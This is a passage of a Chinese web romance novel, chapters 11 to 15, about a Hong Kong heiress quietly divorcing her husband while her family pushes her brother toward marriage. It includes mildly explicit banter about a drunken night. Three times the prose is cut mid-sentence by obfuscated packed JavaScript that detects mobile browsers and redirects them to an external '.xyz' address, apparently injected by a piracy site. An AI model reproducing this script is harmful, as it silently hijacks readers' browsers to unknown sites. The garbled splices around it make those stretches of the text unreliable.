贺舒跳下楼梯,掰着手指头数了数:“今年只剩下不到三个月了哎!妈咪,你让大佬去哪找老婆?” 林樾说:“明天我就给他相亲!”她拍拍贺齐,“听见了吗?我要给贺少川相亲,这是咱们家的头等大事,你回公司替他上班去!” 贺齐“嘿”了一声,牙疼。 贺羡棠挽着沈澈走进客厅,听到半截对话,问:“给谁相亲?” 贺舒冲她扮了个鬼脸,抢答:“给大佬。” 林樾一脸笑意地看着女儿女婿,暂时将此事抛诸脑后:“你们回来啦?快坐快坐,让妈咪看看,怎么都瘦了?” 贺羡棠说:“哪瘦了?” “爸。”沈澈向贺齐打招呼,然后转向林樾,递上红酒,“妈,生日快乐。” “唔该,下次不用带礼物,你们年轻人工作忙,能抽时间陪我们吃顿饭,我们就很高兴了。”林樾拆开看了眼,很满意,笑盈盈道,“这年份好,你有心了。” “您喜欢就好。” “当然喜欢。正好托你的口福,咱们今晚一块儿尝尝。”林樾喊保姆拿去醒酒。 寒暄一番,落座。 贺齐收起报纸,偏过头和沈澈谈些工作上的事情。他向来对这个自己亲手挑的女婿最满意,听他侃侃而谈,不住地点头。 贺羡棠挨着林樾坐,问:“大佬还没回来?” “在公司加班。”林樾踢了始作俑者一脚。 贺齐竖起眉毛:“你……” 女儿女婿都在,能不能给他点面子? 林樾瞪回去:“你什么你,还不都怪你?贺少川一天不结婚,你就别想退休!他都快三十五了!”林樾痛心疾首地拍大腿,“三十五!你满香港数数,还有谁这个年龄没结婚?!” “好好好。”贺齐举手投降,“我明天就回去上班,行了吧?” 贺家气氛太欢脱,沈澈忍不住漾一丝笑,目光挪到贺羡棠身上,见她一副看好戏的表情。 “妈,”贺羡棠说,“你打算让大佬去祸害哪家靓女?” “怎么能说是祸害呢,你大佬除了年龄大一点,脾气臭一点,工作忙一点……”林樾说着说着,叹了口气,愁的头疼,“这可怎么办啊。你说Mia怎么样?” 这俩人天生不对付。 贺舒捧着杯子喝水,呛了一口,和贺羡棠对视一眼,异口同声道:“你放过大佬吧。” 林樾不解:“Mia多好啊,活泼大方,年龄也合适……” 林樾越想越觉得Mia好。 贺羡棠说:“他们俩不合适。” 又天南海北地聊了半个小时,贺少川才匆忙赶到,饭菜正巧做好,一家人往餐厅去,一入坐就吵着让贺少川自罚三杯。 “一杯。”贺少川说。 贺舒起哄:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贺舒的目光在贺少川和沈澈直接来回打转,还没品出个究竟,就被男朋友一个电话支走了。 正在热恋期,大晚上也要出去见面,无非是在附近海滩上走一走,家里没人管他们。 保姆来收拾餐桌。 贺少川坐着没动,撑着额头闭目养神,贺羡棠点点他的肩膀,他挑起眼皮,被水晶吊灯照的晃眼,又闭上,几秒钟后认命地起身,跟在贺羡棠身后。 兄妹俩走到花园,坐在一顶白色遮阳伞下聊天。 这个季节,夜里的气温最舒适,凉爽不闷热。 弯月高悬,一缕薄纱似的云飘了又走,月光静静地照在两人身上。 贺羡棠在衣服口袋里翻出盒薄荷糖,分给贺少川一粒:“你今晚怎么总灌沈澈的酒。” 贺少川丢进嘴里嚼碎,清凉的薄荷味在口腔里扩散:“你要离婚?” 贺羡棠坐直身子,紧张兮兮地嘱咐:“你不要告诉妈!” “懒得管你。”贺少川嗤笑,过了会又问,“姓沈的欺负你了?” 贺羡棠摇头:“没有,他对我挺好的。” 贺少川“哦”了一声:“当初说了让你别结,喜欢能当饭吃?” 贺羡棠不想提陈年往事:“别说我了,妈要给你相亲。” 贺少川不以为然:“随她。” 贺羡棠说:“她要把Mia介绍给你。” 贺少川被口水呛到,咳了半天,皱眉说:“乱点什么鸳鸯谱!” “你跟妈说去哦。”贺羡棠同情地看着他,“她说要让爹地回去上班,你不结婚他别想退休。” “胡闹!”贺少川起身,要回去找林樾,一抬头看见月光下颀长身影,对贺羡棠说,“你老公。” 贺羡棠不知道在想什么,下意识回他:“你老公!” 贺少川看她:“有病。” 他抬腿就走,贺羡棠又往嘴里倒薄荷糖,这才注意到不远处的沈澈。 四目相对,月色又被遮住了。 12. 第 12 章 不知道沈澈听见多少,贺羡棠站起来,一时无言,闷头往前走。经过沈澈身边时,被他攥住手腕。 酒意混在湿漉漉的空气里漫过来,贺羡棠听见他叫她名字。 “贺羡棠。” 贺羡棠几乎是下意识:“嗯?” 沈澈蹙眉一顿,似乎想说什么,又硬生生咽下了,话锋一转,问:“手怎么这么凉,冷吗?” “没。”贺羡棠说。 她抽回手,盯着汀步旁冒出来的一丛金光菊。细细长长的橙色花瓣,花蕊胖嘟嘟的,不算漂亮,但生命力旺盛,一丛丛无需打理,只要一点光照和雨水,就能开的热烈。 沈澈目光落在贺羡棠那截光洁的、弧度优美的后颈上,舌尖抵了下牙齿:“妈叫你别吹风,进去吃水果。” “哦。” 从后院绕回客厅,要穿过连廊,走很长的一段路。一直沉默不自在,沈澈捡些无关紧要的话聊:“沈濯回来了。” 贺羡棠一顿:“什么时候?” 沈澈的亲弟弟,前几年因为女友的事和家里闹翻,一气之下跑到美国去了,这几年很少回香港。 “昨天晚上回来,今天又跑去北京了。追女朋友。” 贺羡棠回忆:“他女朋友是不是个明星?” “叫晏宁。” “她很火。”贺羡棠说,“去年她有一部电影上映,我和Mia还去看了。” “怎么样?”沈澈对晏宁没什么印象,只记得他们算是同学。托她的福,沈濯也老老实实念过几天书。 贺羡棠想了下。 那天是七夕,沈澈加班,贺羡棠没人陪,Mia也没有,她们俩一拍即合,跑去影院,随便买了两张票。她当时还给沈澈发了消息,所以整场电影都没怎么看进去,时不时就要看一眼手机屏幕,很像眼巴巴盼着去游乐场的小孩子。 沈澈一直没回复,贺羡棠也不记得电影讲了什么,反正Mia看哭了,鼻涕眼泪都往她肩膀上蹭,她因此报废了一件衬衫。 印象里是叫好又卖座的电影。 “应该还不错。”贺羡棠说,“晏宁很漂亮。濯仔追到了吗?” “哪有这么快。”沈澈冷哼,“人家根本不理他。” 沈濯,一个敢和沈诚明动手的人。沈家那么多旁支亲友,一致觉得他是个疯子。贺羡棠想象不到,这样的人居然也会有吃瘪的时候,她忍不住笑起来,没注意到脚下的台阶,险些踩空。 贺羡棠反应快,跳下台阶稳住脚步,笑意还未收,扭头看沈澈,见他伸着手,神色古怪地看着她。 沈澈在这些小事上一向体贴周到,贺羡棠没多想,只是他的目光太奇怪,贺羡棠用手背蹭了下脸颊:“我脸上有东西吗?” “没有。”沈澈施施然收回手,迈下台阶,像什么都没发生过一样。 回客厅吃了点水果,陪林樾聊天,又谈起贺少川的终身大事。林樾问沈澈有没有认识合适的女孩子,不拘家世样貌,只要人品好。 沈澈剥一颗山竹,不知道是不是故意想恶心贺少川,说:“妈,我觉得Mia挺好。” 贺羡棠瞪他,刚想说什么,嘴里就被塞了一块山竹,她下意识地上下齿一碰,果肉柔软,迸出丰盈清甜的汁水。 林樾终于找到支持者,立时很高兴:“是啊!Mia那么懂事!” 贺少川一脸牙疼的表情。 他和Mia不对付,Mia游戏人间处处留情,也绝不是他喜欢的那个类型。 “我跟她不可能,您别想了。” 林樾说:“那你想要什么样的?只要你能说出来,我就能给你找出来!总之你今年一定要把这件事给我解决掉,工作什么时候都能做,婚再不结,你都快没人要了!” “我……”贺少川忽然成了“没人要的”,他张了张嘴,转头看向贺齐找支援,“爸!你说句话……!” 贺齐还在看报纸,悄眯眯抬起老花镜后的眼睛瞅老婆,一听话风不对,很快就要冲着他来了,火速端着大茶缸溜之大吉。 贺少川索性也跟着上楼了。 “这个臭脾气,”林樾说,“哪家小姑娘会喜欢哦?” 贺羡棠默不作声地吃山竹。她希望林樾把精力都放在贺少川身上,如果贺少川能够结婚,那她离婚的事情应该更容易被接受。 林樾转头看见贺羡棠,垂着眼乖巧的样子,感慨:“还是我们cici最乖。” 三个孩子里,林樾更偏爱贺羡棠。贺少川是男孩子,糙一点养没什么关系,贺舒从小读书升学一直待在香港。只有贺羡棠,十几岁就出国,林樾觉得亏欠她。 一颗山竹吃完,贺羡棠怕她过段时间就再也不会这么想了,转移话题,说:“妈,我也不建议你把Mia介绍给大佬。” 这俩人在一起,肯定鸡飞狗跳。 “为什么?”林樾不解,“你们不是朋友吗?” “我不想朋友变姑嫂。”贺羡棠只想人和人的关系能简单点,“万一贺少川对不起Mia,我该怎么办?” 林樾说:“你要对你大佬有信心!” “人性经不起考验。” 林樾被说服了,又嘱咐沈澈帮她留意其他合适的女孩子。 聊了一会,林樾催他们去休息。 贺羡棠的卧室在三楼,套房,每天都有人打扫,生活用品一应俱全,即便她婚后较少回家长住,可连衣帽间的睡衣都会随着季节更新换代。 沈澈去洗澡。 贺羡棠摆弄床头桌案的花。 一瓶香雪兰,大部分开的正旺,贺羡棠扔掉仍是花苞的侧枝,觉得太香,搬到角落另一张小圆桌上,正巧碰到沈澈从浴室出来。 他潦草裹着件浴袍,领口开很大,身上散发着沁人心脾的凉意。 贺羡棠抬眼一扫,欣赏的目光停留一瞬,又低下头,认真摆花瓶:“今晚你睡沙发床。” 沈澈酒意未消,疲倦地蹙眉:“我们还是合法夫妻。” “很快就不是了。”贺羡棠呛他,随即又觉得没必要。准确来说,他们谁也不是这段婚姻里的过错方,和平离婚,哪至于这样剑拔弩张? 沈澈没说话,贺羡棠要去衣帽间,刚想走,一瞬间发现沈澈不对劲,方才只顾着看他的身材,这会儿才发现他脸色很差,又想到Tina说他感冒了。 “你……不舒服吗?”贺羡棠踮起脚,摸摸沈澈额头,叫道,“怎么这么烫!你发烧了!” “是么?”沈澈自己没感觉。 “都怪贺少川。”贺羡棠让他坐下休息,翻箱倒柜地找小药箱,找到了,才想起来沈澈喝了酒,不能吃药,只把体温计给他。 “让医生来看看吧?” “不用,太晚了。”这个时间,叫医生必然会惊动贺父贺母,到时还要花精 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这是难得的让步和服软。但他们的婚姻里已经不需要这些了。贺羡棠无声地眨眨眼,想起贺少川的话,“喜欢”这两个字已经不能让她心底再生出任何波澜,变成记忆里已经想不起来的、很遥远很缥缈的感受。 贺羡棠沉默,以示拒绝。 第二天沈澈依旧早早去上班,也不知道他有没有退烧。贺羡棠一晚上没睡好,早上赖床到十点钟,还是林樾看不下去,让保姆把她叫醒。 贺羡棠随便吃了点早餐,就回山顶了,她怕在林樾面前待得久了,会露馅。 之后的一段时间里,沈澈依旧每天睡办公室,他们俩很少碰面,反而律师见面的次数越来越频繁。 谁也没有再提沈澈那晚呢喃的一问,仿佛原本就没有发生过。 贺羡棠在林佳的指导下签署了很多份文件,那些在婚姻存续期间就已转让到她名下的股份,沈澈坚持没有收回。 至于房产,贺羡棠不要,他也懒得再给。 几家子公司的股份,里面甚至还包括远南集团在内地重点布局的一家科技公司,这些都能带给贺羡棠源源不断的分红,价值远超两处不动产。 十月初,贺羡棠才见了沈澈一次。 离婚的相关事宜有条不紊地推进,贺羡棠请的小长假也早已结束。 她心态平和,上周已向家事法庭提交共同申请书,只等待最终的判决。林佳是很好的律师,在其中运作,争取早日结束冗长的程序。 那天早上她去乐团彩排,下午很早便结束工作,在家无事,收纳一些很久不用的旧东西,恰好沈澈回来拿一份文件,贺羡棠捧着两大个收纳盒,刚走出卧室,就和沈澈撞上了,东西七零八落散了一地。 两人同时蹲下去捡,额头相碰,“咚”的一声,贺羡棠捂着脑门儿,不知为什么有点想笑。 沈澈手心搭在她脑袋上,也跟着弯了下嘴角:“冒冒失失的。” 没多说什么,捡起东西,沈澈就拿上文件走了。贺羡棠抱着她的收纳盒,走过拐角,余光瞥见墙边桌上摆着作装饰的一个花瓶。 那支花瓶此前从未在家见过,是绣姐前些天才摆出来的。梅瓶,上面描一支海棠花,做工不算精致,像是外行人烧出来的。 贺羡棠知道,那是她五周年结婚纪念日的礼物。 13. 第 13 章 贺羡棠靠在窗边,看沈澈的迈巴赫驶出庭院,往山下去了。正值傍晚,满山的树木笼罩在黄昏橘黄色的阴影里,一片宁静。 自从提交离婚申请书后,她和沈澈的关系就变成这样了,不见面,偶尔能在电话里心平气和地聊两句,语气客气,像是社交场上没有任何利益冲突的普通朋友。 贺羡棠愿意和他一直保持这样的关系。 国庆节后,香港连日放晴,最高气温一度维持在三十度上下。天气好,心情也好,Mia约贺羡棠出去逛逛。 “去赛马,赵珩也去。” 今天是周三,跑马地的赛马会开放,不论是白领高管还是两岸游客,都喜欢去凑热闹。 贺羡棠正在彩排,柴可夫斯基第二钢琴协奏曲,她用耳朵和肩膀夹住手机,腾出手翻了一页谱子,对Mia讲:“六点下班。” Mia心情愉悦:“我去接你。” 六点钟,贺羡棠准时走出演奏厅。路边停着的一辆张扬的红色敞篷跑车,Mia戴着能遮住半张脸的墨镜,一头浓密的黑色卷发迎风飘扬。 “靓女。”Mia朝她抛媚眼,“上班累吗?” 贺羡棠一眼就看见后座的玫瑰:“没有谈恋爱累。” Mia掐着嗓子说:“哎呀人家只是谈着玩啦,人家跟你才是真爱。” 贺羡棠系上安全带,随口问:“上次那个金融男?” Mia一脚油门,汇入晚高峰的车流中,用慵懒的语调说些惊世骇俗的话:“是啊。不过除了身材好,床上功夫不错之外,也挺没意思的。” 贺羡棠心想还好林樾放弃撮合Mia和贺少川,她可不想在朋友嘴里听见贺少川在床上的表现如何。 这事她当玩笑话说给Mia听,Mia噎了一下,哈哈大笑,说话依旧不正经:“咱妈真敢想。我拿你当我亲姐妹,贺少川就是我亲哥,我俩要在一起,这是乱//伦啊!” 贺羡棠不想理她,转头看路旁飞快向后划过的一排棕榈树。 晚风舒适,Mia伸手打开电台,舒缓的音乐在风中飘荡—— “来日纵使千千阙歌, 飘于远方我路上, 来日纵使千千晚星, 亮过今晚月亮。” 贺羡棠随着节奏轻轻晃动身体,前所未有的轻松。 Mia扫她一眼,也忍不住弯嘴角。 她的状态一日比一日好,不像刚提出要离婚时,死狗一条。许是走到这一步,想开了放下了大彻大悟了。 男人么,感情么,玩玩得了,不能上心。人看重什么,必会被什么伤害。 “赵珩说带个朋友去和我们一起玩。”Mia调低电台音量,“是个女生。” “女朋友哇?” “不知道,说是工作时认识的朋友。” 跑马地赛马会,是个生意伙伴交流感情的好去处。赵叔年纪大了,独苗苗赵小公子终于开始学着继承家业了,贺羡棠作为朋友,倍感欣慰。 结果到了她才知道,这个“工作时认识的朋友”居然是光千照。四个人一汇合,贺羡棠和Mia对视,双双傻眼。 光千照穿的很休闲,简单的白色西装,像是下班顺路过来玩,但丝毫不妨碍她漂亮,烈焰红唇,一双狐狸眼,短发散在肩膀上,明艳大方的长相。 “介绍一下,这是我朋友,贺羡棠,你可以叫她cici,这是Mia。”赵珩顺手理了下贺羡棠的头发,对她说,“这位是经度国际银行CFO光千照光总,我和你们提过。” “光……”贺羡棠愣愣的,没想到天下还有这么巧的事情,想叫“光总”,还是讷讷换了称呼,“学姐。” 光千照微笑着和她拥抱:“几年不见,你更漂亮了。” 赵珩忽略Mia要吃人的目光,惊讶地问:“你们认识啊?” “老同学了。”光千照放开贺羡棠,与她叙旧,“前几日我办就职晚宴,给澈仔送请帖,邀你们一起来,他说你忙,当时我还挺遗憾的,没想到今天还能遇见。托赵总的福喽。” 贺羡棠讪笑,沈澈其实没和她讲过这事,但她总不能说“对不起啊我们要离婚了所有才没有一起去”。 入场的人越来越多,不知道是谁匆忙间撞了贺羡棠一下,Mia揽着她肩膀护住,狠狠剜了赵珩一眼,说:“快开始了,进去说吧。” 以往他们仨出来看夜赛,都图热闹,喜欢挤在公共区。今晚有光千照,怕她不适应,还是去了会员包厢。露台视野很好,有实时直播的屏幕,室内配有餐厅和水吧。 正好一起吃晚餐,贺羡棠坐在Mia和光千照中间,赵珩坐在光千照身侧。 刚落座,Mia说要去水吧给大家点东西喝,叫赵珩陪她一起。 “我不喝,我开车了。”赵珩说,“你自己去啊。” Mia瞪他,贺羡棠不想和光千照单独相处,说:“我陪你去吧。” “你坐下。”Mia按下她肩膀,“让他陪我。” “好吧。”赵珩一耸肩。 不知这两人有什么悄悄话要说,贺羡棠托着腮,专注地看窗外风景,绿茵草地,白色围栏,人群挤挤挨挨,舞台上有乐队演出,啤酒泡沫飘在空中。 快乐,放松,热情。 水吧没有其他客人,很安静。Mia点了四杯无酒精饮料,在高脚凳上坐下。 赵珩双手插兜,曲起一条腿,懒散地靠在吧台,等着Mia主动开口。 Mia斜觑他:“你故意的?” “嗯?”赵珩无辜地眨眼,“我听不懂你讲什么啊。” Mia懒得和他绕弯子:“她够坚决了,你没必要给她添柴加火。” 说完,端着饮料走了。 赵珩跟上她:“我来吧,大小姐。” Mia躲了一下,没给他好脸色看。 “不至于吧。”赵珩叫冤,“又不是我让那姓沈的去找光千照的。” Mia还是瞪他。 露台只剩贺羡棠和光千照两人,挑些无所谓的话题叙旧。 “我们,两三年没见过了吧?”光千照眼底浮现出怀念的色彩,但必然不是在怀念与贺羡棠见面的时光,她们原本就不熟。 “两年多了。”贺羡棠说,“上次见面还是你生宝宝,不过我那时忙,你孩子的满月宴我也没时间去,抱歉啊。” “你的礼物到了呀。那块平安扣,”光千照说,“宝宝也很喜欢,现在还戴着。” “喜欢就好。”贺羡棠问,“宝宝现在怎么样?很可爱吧?她刚出生时就看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542969|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得出来是美人坯子。” 光千照挂着浅而发自内心的笑意。谈到孩子的时候,她身上总散发着温柔的母性光辉。 Mia和赵珩回来时,两人的话题也结束。一时无言,再沉默下去,就要尴尬了。 细长白净的手伸到贺羡棠面前,放下一杯橘色气泡水。她像抓住了救命稻草,抓着Mia抱怨:“你去好久。” Mia手一挥,娇滴滴说:“你一秒也离不开我啊!” 逗的几人大笑。 没多久,马匹巡游,几人凑在一起,挑选状态更好的马。 贺羡棠一拍大腿说:“我买4号。” “6号状态更好!”Mia指着屏幕,“4号赔率16啊!” 赵珩说:“我也买4号,高风险高收益!” 护短护到这份上,Mia翻他白眼。 光千照只静静地看,不参与。她是赛马高手,却没必要在此刻显露。 手机响,光千照接了通电话,笑着问“何事”,听着那边焦急的声音,神色却越来越沉,最终失态地叫出声:“你说什么?” 电话是家里的保姆打来的,说晚饭后带着宝宝在楼下玩,一转眼孩子就不见了。这是保姆工作的失误,可她在电话中泣不成声,光千照就算想发火,也不好立时发作。 匆匆拎上包,告辞。 赵珩说:“你别急,我送你吧,还能帮你一块找找。” 来时是赵珩去接的她,打车或者等司机只会更慢,光千照不想欠这个人情也不得不欠了,略一点头:“多谢。” 丢了孩子是天大的事,贺羡棠听着也担心,赵珩见状,拍拍她:“一块啊,多个人多份力量。” 于是四人一起走了。路上光千照脸色惨白,她的下属见到她这副六神无主的样子,估计都要不认识她了。 赵珩劝慰她:“多半是小孩自己跑到哪玩去了,保姆没看见。我认识几个媒体的朋友,让他们帮忙发个寻人启事。” “别太担心。”贺羡棠也说。 她不会哄人,除此之外不知说什么好。 光千照嘴唇抖了一下,突然握着贺羡棠的手,寻求心理安慰似的:“没事的,对不对?” 贺羡棠手心盖在她手背上:“一定没事。” 高额赏金的新闻发出去了,也联系了警署帮忙,提供孩子的照片,查监控寻人。可这么大的香港,真不知道要去哪找。 赵珩说:“小孩子一个人能跑多远?” 他开车到光千照小区门口,小区内外,几个人拿着孩子照片分头找。 贺羡棠攥着手机,目光认真扫过每一个从她身旁经过的小女孩,每看到一个小孩子,确认不是,心就往下沉一分。 手机响了,是光千照打来的,她匆忙接听,说孩子找到了,她心情起伏跌宕,说话也很乱,说不清是怎么找到的。 贺羡棠总算安心了,折返回去找他们。 她和赵珩几乎同时赶回去,望见男人高大的背影。他怀里抱着一个很可爱的小女孩。光千照拭去眼角的泪,Mia则双臂抱胸,脸色很臭。 真是熟悉的背影。贺羡棠停下脚步,犹豫要不要走过去。 赵珩先开口了:“哟,原来是沈董啊,我还以为是孩子后爸呢!” 14. 第 14 章 沈澈转过头,贺羡棠看清了他怀里的小女孩,因为是混血儿,浓眉大眼,浅色的头发,漂亮的不像这个年龄的小孩子。 她困了,趴在沈澈肩膀上,强撑着眼皮。 光千照说:“bb,让妈妈抱。” “不要!”小姑娘受了惊吓,紧紧搂着沈澈的脖子,把小脸埋在他颈窝里。 “不要这样,叔叔还有事。”光千照还是把她抱回去了,同沈澈讲,“真不知道怎么感谢你。” “碰巧而已,不必言谢。”沈澈看向贺羡棠,目光在扫过赵珩时,短暂地停留一瞬,继而就跃到贺羡棠脸上,见她神色淡然,眉目在路灯下,笼着一层浅黄色的光晕。 事不关己的模样。 “你们怎么在这?”他冷声开口。 “你们”,不是“你”,显然把赵珩也包括进去。贺羡棠没想好怎么解释,三两句话说不清楚,可她又不想多言,反倒是赵珩呛他:“我们也想知道,沈董怎么在这儿?” “过来办事,碰巧。”沈澈言简意赅。 “他今晚来给我送文件,才在小区里看见bb。”光千照手心护着孩子后脑勺,向贺羡棠解释,“最近经度和远南有些合作。” 这话乍听起来没什么问题,却不能细想。沈澈事务繁忙,为何要亲自来送一份文件?光千照今晚明明和他们在跑马地,沈澈又如何进她家的门?他们的关系已经亲密到可以在对方外出时,随意出入彼此家吗? 这些疑问在贺羡棠脑海中一闪而过,她不想深究,笑着说:“孩子找到就好。” 她确实如此想。 孩子找到了,今晚就是皆大欢喜的一个夜晚。 各回各家。Mia搭赵珩的车,沈澈送贺羡棠,走出去几步,小姑娘慢半拍地对他们挥手:“阿姐阿叔再见!” 清脆爽朗的童音,连贺羡棠也忍不住夸:“好可爱。” 沈澈问她:“喜欢小孩子?” 贺羡棠点头:“嗯,喜欢。” 她毫无芥蒂,一字不问,他想解释也不知如何开口。 犹豫很久,沈澈放缓脚步:“cici……” 贺羡棠像没听见,脚步未停,只留给他一个背影。 司机等在路边,见二人走来,弯腰打开车门,不用想也知道发生了什么事,为沈澈辩驳:“今晚原本应该是助理来送文件的,他妻子意外小产,沈董放他的假,就自己跑一趟,不必上楼,有管家来取,光总事先不知道沈董亲自来。” 沈澈沉声:“多话。” 沈澈的司机听说是海外雇佣兵出身,最稳重寡言的性格,第一次在他口中听到这么长的一段话,贺羡棠看着他笑了笑:“没事,我没误会什么。” 纵然光千照的话令人想入非非,可她不想不就得了。 沈澈摸到了烟盒。 他会抽烟,随身带着烟盒和打火机,但向来很克制,只有在实在困乏的时候,点一支提神。今晚那点很轻的烟瘾却被勾出来了,想了想,取出一支细烟咬着,顾及到贺羡棠还在车内,没点。 “你没误会?” 他的声音有些含糊。 “当然没有。”贺羡棠看他,似是为了让他安心,又补充了句,“我们都快要离婚了,我没必要误会什么。” 她语气轻快,声音清亮,小燕子叫似的。 “那很好。”沈澈说。 晚上回山顶别墅,两人依旧分房睡。贺羡棠去衣帽间换睡衣,看着衣柜里一排排衣服,想起原本这个地方挂的是男装。 主卧里沈澈的生活痕迹已经越来越少了,有一次Mia来,对着她竖大拇指——“能把沈大少爷赶去睡侧卧,你也挺牛的。” 难不成她去睡侧卧? 贺羡棠不干委屈自己的事儿。 又过了没几天,贺羡棠收到一个包裹,寄出的地址是经度银行,她拆开,是一张黑胶唱片,贺羡棠很喜欢的一个演奏家,这唱片有些年头了,市面上不太好找到。 另外有一张卡片,上面写了几句感谢的话,字迹清秀,大意是感谢贺羡棠那晚的帮助。 贺羡棠忽然觉得光千照也挺有意思的,她什么也不缺,送珠宝首饰包包当然可以,但未免敷衍,这样的礼物不算贵重,让人没有负担,不必回礼,又确实送到她心坎里。 贺羡棠收好唱片,给Mia打电话,刚接通,那边有一道男声说“你好”。 “你……你好。”贺羡棠想说不方便的话就先挂了吧,可又觉得这声音实在熟悉,试探着问,“你是……?” 贺少川皱眉:“你是宇宙无敌第一可爱bb居?” “……” 听起来像是Mia会给她的备注呢。 贺羡棠张了张嘴:“大佬?” 贺少川:“……” “真的是你?!”贺羡棠捂着脸,“你这时候为什么和Mia在一起?” 现在是早上九点多,按照Mia的生活习惯,她应该刚刚睡醒。 他们俩这个点为什么会在一起!贺少川为什么会接Mia的电话!贺羡棠不敢细思。 贺少川看着足够两米宽的大床中间那段凸起的弧线,头疼:“我也想知道为什么。” 这不合理。 他的房间里为什么会多出来一个女人? “我走错房间了。”Mia被吵醒,没耐心继续听电话,半闭着眼睛,从贺少川手里抢过手机,看也没看就挂断,然后随手扔掉,倒头继续睡。 “轰”的一声,天雷滚滚,把贺羡棠劈的外焦里嫩,她握着手机不知所措,久久没回神,难以接受。 贺少川也没好到哪儿去。 这会所是他一个朋友新开的,贺少川过来捧场,晚上多喝了几杯酒,就没回去,谁知道半夜十一二点,房门被敲响,他还以为是朋友,一打开门,还没看清来人长什么样,看身段只能看出是个女人,就被抱住又亲又啃。 大概是图个氛围,女人还把灯关了。 贺少川喝醉了,浑身燥热,以为是朋友安排的人。晚上他们刚嘲笑过自己,也开玩笑说要给他送个人试试。 贺少川抱着温香软玉,只觉得怀里的人身材还不错,胸是胸屁股是屁股,细腰长腿,睡一觉也不亏。 朋友送来的人,也不用担心不干净。 等早上一醒过来,看清女人面孔,七魂吓走六魄。 “你……你先醒醒! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542970|171070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”贺少川推了一把Mia,“别睡了!” Mia被他吵的睡不着,打着哈欠坐起来,一脸不耐烦:“吵什么?睡就睡了,你不会还要我对你负责吧?” “负个屁!”贺少川快气死了,“你怎么会走错房间!” “废话,”Mia靠在床头翻他白眼,“喝多了啊。我昨晚约了个男模特,还以为是你呢。不过你……” Mia上下打量他,视线停留在他胸膛处,表情像是在回味:“身材还行,当我吃点亏。” 贺少川“唰”的一下拉紧晨袍领口,捂的严严实实,满脸痛心疾首,像个贞节烈妇似的。Mia觉得好笑,睡了一觉,至于么。 “你刚刚跟谁打电话?” “……贺羡棠。” Mia:“…………” 睡了一觉就被抓包,Mia觉得自己应该去上香,没再理贺少川,随手扯过晨袍披上,去洗漱。 贺少川看着白花花的床单,脑子也同样空白,不知道是抽了什么风,居然问出一句:“你不是第一次啊?” 话一出口,贺少川自己都觉得是酒精还没代谢掉,居然问出这种问题。 毕竟众所周知Mia的情史比新华字典都厚。 Mia停下脚步,用看白痴的眼光看他,弯了下唇角,挂着嘲讽的笑:“因为你太小了。” 贺少川:“?” Mia扭头走了,洗漱完回来,看见贺少川还是那副表情,像是刚结婚还没干过就死了老公从此开始守寡结果一朝失贞牌坊不保,狐疑地问:“你不会是第一次吧?” 确实没听说他谈过女朋友。这个年纪的男人了,家世好样貌好,站在金字塔尖上,如果还没有过正式的女友,只有两种可能性,一是他私底下野花不断,二是他阳痿。 Mia亲身实验,排除了第二种可能性。 贺少川立刻说:“怎么可能!” “那就好。”Mia也不想睡处.男,太单纯,万一真的找她负责就麻烦了。 贺少川把牙咬的“咔嚓咔嚓”响。 Mia抓起衣服,想去衣帽间换,随即想到他俩是上过床的关系,昨晚折腾了好几次,料贺少川这会儿也硬不起来,于是也不避讳,就在他面前换起来。 贺少川瞪着眼,火速转身背对着她。 换好衣服,Mia拍了拍他肩膀:“cici那边我去解释,咱俩以后该怎么样还是怎么样,你不用不自在。” 贺少川条件反射似地躲了一下,生怕又被她扑上来又亲又啃。 Mia说:“不用这么应激吧?你放心,我也很讨厌你。” 贺少川咬着牙:“就当什么都没发生过,你出去别乱说。” 贺少川受不了。是谁不行,偏偏是Mia。八岁就会抓蟑螂放在他书包里吓唬人,十二岁的时候拍下他割完包.皮穿裙子的照片给同学看,十五岁的时候伪造他的字迹给同校女生写情书,十八岁满世界造谣他不举。 Mia系好裙子上的腰带,冷笑一声,走了。 门一关上,贺少川像强迫症似地冲进浴室,花洒一开,冷水从头浇到尾,他举起左手,悲哀地想,这真的是他第一次! 15. 第 15 章 维港边的西餐厅,窗明几净,阳光穿过大面落地窗,静静照在餐桌上摆的芍药花上。 贺羡棠和Mia面对面,沉默了足足五分钟,一个不知道怎么开口问,一个不知道怎么开口解释。 Mia嘴唇动了下,语不惊人死不休似地说:“我乱/伦了,sorry。” 贺羡棠把脸埋在手心里:“这时候就不要乱开玩笑了啊!” “好吧。”Mia说,“我昨晚走错房间了,都是误会,哎呀你怎么跟贺少川一个表情,我不会找你们家负责的啦!” “……不是。”贺羡棠说,“我觉得贺少川会找你对他负责。” “不可能。”Mia举起叉子往嘴里送罗马生菜,“他巴不得再也见不到我。” 贺羡棠问:“点解?” “我说他小。” Mia满脸光明磊落,贺羡棠刚送进口的水差点儿喷出来。 这话太惊悚了。她捂着嘴咳嗽,心想再也不能和Mia聊这个话题了,一抬头就看见隔壁桌的客人一脸惊讶地望着他们。 六目相对,叶微抬头看天。 贺羡棠的表情绷不住了,嘴角微微抽搐:“你……什么时候来的?” 